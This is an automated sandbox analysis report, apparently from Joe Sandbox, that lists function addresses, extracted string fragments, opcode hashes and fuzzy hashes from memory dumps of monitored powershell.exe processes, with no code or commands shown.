Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-3865595929
Opcode ID: f9bbf5a3a5078e3ed2dd0ff8f1ce65f8c6473ed2c6e51345305ab83e72e214b0
Instruction ID: c9271b6e732ce3b89ceeddf70e149bf1f0708c43581962ded4dd45060b3377fe
Opcode Fuzzy Hash: f9bbf5a3a5078e3ed2dd0ff8f1ce65f8c6473ed2c6e51345305ab83e72e214b0
Instruction Fuzzy Hash: 01B148B17043459FCB55AB7A980066EBBE6AFC6A10F14816AD446CF352DE32CC86C761

Function 048CEE38 Relevance: 10.2, Strings: 8, Instructions: 181COMMON

Download Yara Rule

Strings

$^q, xrefs: 048CEFD5
$^q, xrefs: 048CEFEF
$^q, xrefs: 048CEF87
0oAp, xrefs: 048CEFC7
,bq, xrefs: 048CEE8D
$^q, xrefs: 048CEFBB
$^q, xrefs: 048CEF30
$^q, xrefs: 048CEFA1

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: ,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-4154621813
Opcode ID: 5ca61bb40982513acfe7feb971e58b23f11288ec9601be565eea93049ec570f2
Instruction ID: 9e7a561994730468d69ded69596662b51bdadde6e37eab7a345ae8ba181fe93f
Opcode Fuzzy Hash: 5ca61bb40982513acfe7feb971e58b23f11288ec9601be565eea93049ec570f2
Instruction Fuzzy Hash: F5514F303940588FC729AB7DD55493C3AD7AB8865431009EEE516CF7B5EE26EC828752

Function 048CF068 Relevance: 9.2, Strings: 7, Instructions: 455COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 048CF57C
$^q, xrefs: 048CF5A6
0oAp, xrefs: 048CF4C3
$^q, xrefs: 048CF3EC
0oAp, xrefs: 048CF4B7
0oAp, xrefs: 048CF485
$^q, xrefs: 048CF390

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: 0oAp$0oAp$0oAp$`Q^q$$^q$$^q$$^q
API String ID: 0-1375766648
Opcode ID: 26f8d540d266e437a44c3bb01f60a85f4af641f8530cb10b4eaafda75d01c144
Instruction ID: 24474f1b3a44f1b07150411a0889a460a7c2384755ba3deb6e6ddc5e33497143
Opcode Fuzzy Hash: 26f8d540d266e437a44c3bb01f60a85f4af641f8530cb10b4eaafda75d01c144
Instruction Fuzzy Hash: E7E1F1307401148FEB19AB7D951462E76D7AFC8B54B2449AEDB02CF3E4EE35EC428792

Function 07681BE0 Relevance: 9.2, Strings: 7, Instructions: 402COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07681FDF
4'^q, xrefs: 07681F95
pipj, xrefs: 07681C73
4'^q, xrefs: 07681F89
4'^q, xrefs: 07681C86
tP^q, xrefs: 07681FEB
4'^q, xrefs: 07681C92

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$pipj$tP^q$tP^q
API String ID: 0-499639324
Opcode ID: a71f6a593a393d5230baafd39077845b6ec05b60d074ab71f478c6ee3d9cf940
Instruction ID: 147a421a8df9e094ab156f7d4197d9d9cf33bd0e106c674b327ce1e16e9730fc
Opcode Fuzzy Hash: a71f6a593a393d5230baafd39077845b6ec05b60d074ab71f478c6ee3d9cf940
Instruction Fuzzy Hash: 42D149B1B0420A8FCB69AB789404666BBF6AFC6310F18857FC556CB355DB31C887C7A1

Function 07683678 Relevance: 6.4, Strings: 5, Instructions: 185COMMON

Download Yara Rule

Strings

$^q, xrefs: 0768382A
4'^q, xrefs: 0768372E
4'^q, xrefs: 07683722
$^q, xrefs: 07683836
$^q, xrefs: 076837FF

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: b6d9b01b0806688677416c29b667c2da1b2ad5a4b1a3f4bfc6d8de5fb09c825a
Instruction ID: c927829a65f5389b5bc5064fbedc62460d139db9cdd9f012cd71e00e03ef45cf
Opcode Fuzzy Hash: b6d9b01b0806688677416c29b667c2da1b2ad5a4b1a3f4bfc6d8de5fb09c825a
Instruction Fuzzy Hash: 625158F17043069FDB646A7A980076EBBA6AFC2B10F24857AD447CB351DF35C886C791

Function 048C7AE0 Relevance: 5.2, Strings: 4, Instructions: 242COMMON

Download Yara Rule

Strings

`_q, xrefs: 048C7C62
`_q, xrefs: 048C7D04
`_q, xrefs: 048C7D82
`_q, xrefs: 048C7BE3

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: f5fc15aa3ea625ac264429b0f6e30c44eb5bc224cec24bd9ded1e4e790e97016
Instruction ID: 76dcf0739185dce51122492550091d4c4c4d2357722f801b0f20475e04375922
Opcode Fuzzy Hash: f5fc15aa3ea625ac264429b0f6e30c44eb5bc224cec24bd9ded1e4e790e97016
Instruction Fuzzy Hash: BAB19274E0120A9FDB54DFA9D980A9DFBF2FF88304F10862AD519AB315DB34A945CF90

Function 048C7AF0 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 048C7C62
`_q, xrefs: 048C7D04
`_q, xrefs: 048C7D82
`_q, xrefs: 048C7BE3

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: f0ff4e20107cbe924737e7c15aa94adfe4196ec55238ab151fde60a993805db8
Instruction ID: a3dd3c2b1d68a4b1ad40eb02a10e178215764a7142262b89fb192d58a3aab323
Opcode Fuzzy Hash: f0ff4e20107cbe924737e7c15aa94adfe4196ec55238ab151fde60a993805db8
Instruction Fuzzy Hash: 9CB17374E0120A9FDB54DFA9D980A9DFBF2FF88304F108629D519AB315DB34A945CF90

Function 07685798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 076857F4
$^q, xrefs: 076857C6
$^q, xrefs: 076857AA
$^q, xrefs: 07685800

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: fcec980b3e5d81b9a068e364505737ad581e70906da740f6356c4bce9f149319
Instruction ID: b574c9bdd650449fdb3d89c25fb0c6609d08fbf641c2f6b14ffc4f9f3fac81d2
Opcode Fuzzy Hash: fcec980b3e5d81b9a068e364505737ad581e70906da740f6356c4bce9f149319
Instruction Fuzzy Hash: EB216BF17103169BDBB8763A9800B27A7DB6BD0711F24852BE507CF386DD75C8518361

Function 07680308 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

$^q, xrefs: 0768035E
$^q, xrefs: 07680352
4'^q, xrefs: 07680373
4'^q, xrefs: 0768037F

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: faa40095720892e078b9b74ec5a804ceba60f15cc30a15d96d1173d0c05154de
Instruction ID: 3fd915e50a5fc39ff552ef609bf133db08a46914309cbe48419b9a3f771db726
Opcode Fuzzy Hash: faa40095720892e078b9b74ec5a804ceba60f15cc30a15d96d1173d0c05154de
Instruction Fuzzy Hash: 0901DB617493875FC76E163898105666FB25FC391071949ABC041CF796CD554C4E83A3

Analysis Process: powershell.exePID: 7620, Parent PID: 3756COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 0517B569 Relevance: .3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34166e7473c5238e9b6cb157332b6e94fa5f14140ce0585e8983c5d78959624a
Instruction ID: ddb7de9b980b1ef2e068f96a505ae85bf38b24c8c47cd913665bd44072479124
Opcode Fuzzy Hash: 34166e7473c5238e9b6cb157332b6e94fa5f14140ce0585e8983c5d78959624a
Instruction Fuzzy Hash: DF918371B007189BDB19EFB4D4545AEBBB2EFC4604B408D2DD10AAB344DF785D0A8BD6

Function 0517B578 Relevance: .3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6c4860e6b55a0e0cc01c14e6f5e03b922254e6f4341ab31415c04b9e8e8d24
Instruction ID: 43e536e16a37a9d00943b0b420a3be00649e21b063f6bfa3865555fee3ceb314
Opcode Fuzzy Hash: ac6c4860e6b55a0e0cc01c14e6f5e03b922254e6f4341ab31415c04b9e8e8d24
Instruction Fuzzy Hash: 95917071B006189BDB19EFB4D8545AEB7B2EF84604B40892DD10AAB344DF786D0A8BD6

Function 07B62308 Relevance: 10.6, Strings: 8, Instructions: 632COMMON

Download Yara Rule

Strings

pipj, xrefs: 07B62582
4'^q, xrefs: 07B62619
pipj, xrefs: 07B623B0
4'^q, xrefs: 07B6260D
pipj, xrefs: 07B62416
pipj, xrefs: 07B62363
|,rj, xrefs: 07B625DB
pipj, xrefs: 07B623A0

Memory Dump Source

Source File: 00000015.00000002.2468530973.0000000007B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7b60000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$pipj$pipj$pipj$pipj$pipj$|,rj
API String ID: 0-1806894991
Opcode ID: b6ea117c82ab546e772826b4b8679f8150f4298cb76116fbbb75dda93b6663f6
Instruction ID: 2d7ba80751e8da86c6ab7b22153acc7cb00a65622345b8061b3cebd210c200bf
Opcode Fuzzy Hash: b6ea117c82ab546e772826b4b8679f8150f4298cb76116fbbb75dda93b6663f6
Instruction Fuzzy Hash: 992237F1B002059FFB249B6994486EABBE2FF85310F0480FAD605CB251DB39DD85C7A2

Function 07B63CE8 Relevance: 5.6, Strings: 4, Instructions: 576
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 07B64180
4'^q, xrefs: 07B64026
4'^q, xrefs: 07B6418A
4'^q, xrefs: 07B64030

Memory Dump Source

Source File: 00000015.00000002.2468530973.0000000007B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7b60000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: 24ee357022c0c98601514023d893bc943fd0b6ae4a3ec905069ef5f0b42cb7e1
Instruction ID: 3e2571ef9d0545e23eaf3852dd64389671510d45a4aa1fcecfe1f3a270aee7b2
Opcode Fuzzy Hash: 24ee357022c0c98601514023d893bc943fd0b6ae4a3ec905069ef5f0b42cb7e1
Instruction Fuzzy Hash: 131237F1B043558FDB159B68980876ABFE2EF81210F2480BAD645CF256DE3ACD85C7A1

Function 08D475F9 Relevance: 1.6, APIs: 1, Instructions: 54
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08D47662

Memory Dump Source

Source File: 00000015.00000002.2473147230.0000000008D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_8d40000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 9fae3203bbb4cedd15616dd14e9dc2c9a75355924681e61a0bbb9fda2684c3ea
Instruction ID: b0c7647f5bff6a2462f4da955d75b1f7cb53e2a0003837558e0fbb4506496eda
Opcode Fuzzy Hash: 9fae3203bbb4cedd15616dd14e9dc2c9a75355924681e61a0bbb9fda2684c3ea
Instruction Fuzzy Hash: 211164B19002888FCB10CF9EC488A9EFFF5EB49360F208859D158A7310C774A945CFA4

Function 08D47600 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08D47662

Memory Dump Source

Source File: 00000015.00000002.2473147230.0000000008D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_8d40000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: d2b80ae624b19eb8e4e3cf6c64fc0a3890a7019f5ea0be7244e60086f22b0085
Instruction ID: 1493cf4ca2aa1004522be3968ee3f4196549b1ee9e5a98b973038da6256ad1af
Opcode Fuzzy Hash: d2b80ae624b19eb8e4e3cf6c64fc0a3890a7019f5ea0be7244e60086f22b0085
Instruction Fuzzy Hash: A91122B19002488FCB10DF9AC884B9EFFF8EB48324F24841AD558A7310C774A944CFA4

Function 05176E28 Relevance: 1.4, Strings: 1, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 05176F4D

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 4788667e0ed4405db4f731aedd8e1650eef99e8c22a1db96709a7785e0782a4a
Instruction ID: 853b8f3e1c840965a921ce19cc160b4b012a4e55152339f17dd45b4f249c6af4
Opcode Fuzzy Hash: 4788667e0ed4405db4f731aedd8e1650eef99e8c22a1db96709a7785e0782a4a
Instruction Fuzzy Hash: A0516A31B046098FCB14DFA8C564AEEBBF6EF89355F1440A9E906EB750DB389D01CB61

Function 0517B080 Relevance: 1.3, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(&^q, xrefs: 0517B0A2

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: 76be0df8afe00ff5f375520d713436da26a20058e70ace436f837c2394867964
Instruction ID: 00a17a2796f3609b5255e9d06b933e94a22e918ef5b88dacf548a6518b5dd00b
Opcode Fuzzy Hash: 76be0df8afe00ff5f375520d713436da26a20058e70ace436f837c2394867964
Instruction Fuzzy Hash: 7E21BC71A082588FCB14DFAED44469EBFF5EB88320F24886ED008E7340DB759905CBA5

Function 0517CC80 Relevance: .2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a8d7a2c072452ee6f2ec7fca150b9e2b467a5ba8edb290bf8d59aa604b60b6
Instruction ID: 095ed90df2fbc9647e029d1ae300aa6a3983f29316c30a2f595cbf4bc034e415
Opcode Fuzzy Hash: 54a8d7a2c072452ee6f2ec7fca150b9e2b467a5ba8edb290bf8d59aa604b60b6
Instruction Fuzzy Hash: B261F775E002489FCB14DFA9D5846DDBBF1FF88314F14816AE809AB354DB349D85CB90

Function 0517CC71 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c70f16805777e1ee80dd8e47385e76096e0295dba2624a5f472cf9d8f3d60249
Instruction ID: 9f65df604bd843c41f2e607882a3a8d7684310cfb7e593863dd89ab63bfdf629
Opcode Fuzzy Hash: c70f16805777e1ee80dd8e47385e76096e0295dba2624a5f472cf9d8f3d60249
Instruction Fuzzy Hash: 8B51F375E002489FCB14CFA9D584A9DBFF6FF88314F14806AE819AB354DB349D45CBA0

Function 0517AF47 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e603361119cc37a65de87f6a3444462ead14e9b7cbe53ce29f1f98fc7e6b570e
Instruction ID: 914cba3e82ed06b092bb67924eee9db5b25e4b0962f8b8e8909515871dde1e09
Opcode Fuzzy Hash: e603361119cc37a65de87f6a3444462ead14e9b7cbe53ce29f1f98fc7e6b570e
Instruction Fuzzy Hash: 39418D75B002098FCB04EFADD594AAEBBF2EF89310F148469E415EB254EB359D018BA5

Function 07B63CCD Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2468530973.0000000007B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03938b1b42030b1f9e7caffbed6b71a79d8bc7473d7a5222e6bd71f83a722df0
Instruction ID: 40420e8d6a3361c2a1134aada797fa21b30aec860e5c68d930f69fe99a20415e
Opcode Fuzzy Hash: 03938b1b42030b1f9e7caffbed6b71a79d8bc7473d7a5222e6bd71f83a722df0
Instruction Fuzzy Hash: B741D6F4A00202DFEB258A28C648A6A7BF2EF85654F1480D5DB019F256DB3DDD85CBB1

Function 05172B10 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c99baba37dfd3aae8f1ac87cb1d254c1b4f5fd48fe15362af3d39d71ecc1356
Instruction ID: f6f3026fe226f4719620acb972bdccc55eb0799c7adbfa5dc763d112164c0b74
Opcode Fuzzy Hash: 9c99baba37dfd3aae8f1ac87cb1d254c1b4f5fd48fe15362af3d39d71ecc1356
Instruction Fuzzy Hash: EC4118B4A005099FCB05CF59C5989AAFBB1FF48310B258599D825AB365C736FC52CBA0

Function 05172B0F Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54e1c45e9b506d92fb30d77edee96930dc1d576b69098693c0440db7b6f00d77
Instruction ID: c5b724bf87c9a62fb182d6964182ef9ad778b33edfa424183f6b691e9551004f
Opcode Fuzzy Hash: 54e1c45e9b506d92fb30d77edee96930dc1d576b69098693c0440db7b6f00d77
Instruction Fuzzy Hash: E841F5B4A005099FCB09CF59C598DBAF7B1FF48310B218559D926AB364C736FC92CBA0

Function 05176E18 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b59e23144e7654354291eedd57a50561cdab541b8770bae972b4e61c8968026
Instruction ID: e0ea6c3fe5ff689334d6016845d81021dcc3e5841d7f80e558c89bc6b6624db1
Opcode Fuzzy Hash: 1b59e23144e7654354291eedd57a50561cdab541b8770bae972b4e61c8968026
Instruction Fuzzy Hash: D0310834A046098FCB14DF68C668AAEBBF2EF8D315F155098E806AB750DB35DC41CB61

Function 0517AF58 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d437aab47ccf565d418c014acc36e3ae37525cca19e60d9d856df2dd418e93
Instruction ID: 9bf9b99975c16954bfb904ca8a937d50b319ece36e8604ed1c437077f6a4bdde
Opcode Fuzzy Hash: b0d437aab47ccf565d418c014acc36e3ae37525cca19e60d9d856df2dd418e93
Instruction Fuzzy Hash: 8C314570B002099BCB08DFADD494BAEBAF6AF89310F148069E415EB354EB798C418B64

Function 0517AE10 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd1b4df317eb34526f6bee320c05ebe7fd59669d932ed4b54367290990603da
Instruction ID: 9d484d97bf20a0ff1cc31c9bbdf45cc65bd43cd3d80574f2c4f5c8f02d27f4ed
Opcode Fuzzy Hash: 5cd1b4df317eb34526f6bee320c05ebe7fd59669d932ed4b54367290990603da
Instruction Fuzzy Hash: 3D3161B4B002099FDB04EF64D858AFFB7B3EF84300F1188A9D514AB395DB39AD418B91

Function 051794D9 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7093d782610f584ad19ec73ce9eb8f7473222c5d6f5476edf081fffeb271fd2
Instruction ID: 89d61cf3edee6b8f01e500fb152e62e0e447cf4b916c2d6a606aa2e6ef2d3dba
Opcode Fuzzy Hash: e7093d782610f584ad19ec73ce9eb8f7473222c5d6f5476edf081fffeb271fd2
Instruction Fuzzy Hash: 5A3161749053888EDB60CF6EC0887DABFF6EB84324F28C45ED44D9B215C774A485CB65

Function 0517AE20 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef353d662d206f25a1d739296b203c22ffcee0b9b48cac75c461ba6d7fb2db5
Instruction ID: 1398ec1374ab769009b1473ed695205415f3a53dc95789f947b7fefb579786d7
Opcode Fuzzy Hash: 6ef353d662d206f25a1d739296b203c22ffcee0b9b48cac75c461ba6d7fb2db5
Instruction Fuzzy Hash: 303132B4F002099FDB04EF64D458BEFB7B2EF84300F1188A9D615AB394DA39AD418B91

Function 0502F400 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 534ad574aa1c36745213a6de8d934ccc19a6965c6222ce21674d80df4571a99a
Instruction ID: a33c7842669da06ad20ebe2b040a21bdb034645b1631629066e71af3cc464a6b
Opcode Fuzzy Hash: 534ad574aa1c36745213a6de8d934ccc19a6965c6222ce21674d80df4571a99a
Instruction Fuzzy Hash: 1321F175504201DFCB05DF14E9C1F2ABFB6FB88314F20C5A9ED094A256C376D456CB61

Function 0502F054 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f56b9c70a080d8810f8812b9446a51de4c482afb7cc5c5d48fc67d2e8ad5a2
Instruction ID: 6c0302e94455ff4c5aede24d2606784b5202bec38d0f16df8e1577df7d77781e
Opcode Fuzzy Hash: c6f56b9c70a080d8810f8812b9446a51de4c482afb7cc5c5d48fc67d2e8ad5a2
Instruction Fuzzy Hash: D2213470604201DFDB14CF14E9C0F2EBBB6FB84354F24C66DD90A4B251C73AD846CA62

Function 051794E8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562204eab34d584f7e4c6a04a535c07eb6cf968972c7156cf63030e29e4882e0
Instruction ID: 33ab76c7c57cc6d35e04684c407b6687476fab794badea8cebe1866c057ce1d4
Opcode Fuzzy Hash: 562204eab34d584f7e4c6a04a535c07eb6cf968972c7156cf63030e29e4882e0
Instruction Fuzzy Hash: BC2157B09053488EDB60CF6EC08879AFBF6EB88324F28C02AD85E97205D77464858B64

Function 05176A68 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 287ba26cf6302c1213f5fb5f2efbd990a5ef2e6563418382f66b7ad57d7d0d52
Instruction ID: 8ccc7d577eca53f72c6abb85d71e9eb6e44b63d34f3ea26cbc448b324df95655
Opcode Fuzzy Hash: 287ba26cf6302c1213f5fb5f2efbd990a5ef2e6563418382f66b7ad57d7d0d52
Instruction Fuzzy Hash: 1F1170353042149FD704DB69E884D6FBBEAFBC87507244569E509C7355DF35DC018B90

Function 05176D64 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2445175834.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a70cc1c3a7994ca142a5d3982906586ef833b173abafcb457253b91e479c28f1
Instruction ID: 74a86741461c452221c3a822b5d103c12b095064e97d796e699ec25d88ba4770
Opcode Fuzzy Hash: a70cc1c3a7994ca142a5d3982906586ef833b173abafcb457253b91e479c28f1
Instruction Fuzzy Hash: AB112B39700128CFCB04DBACE9449EE77F6FBC8215B0540A5E909EB324DB35DD458B90

Function 0502F3FB Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2444534463.000000000502D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0502D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_502d000_powershell.jbxd

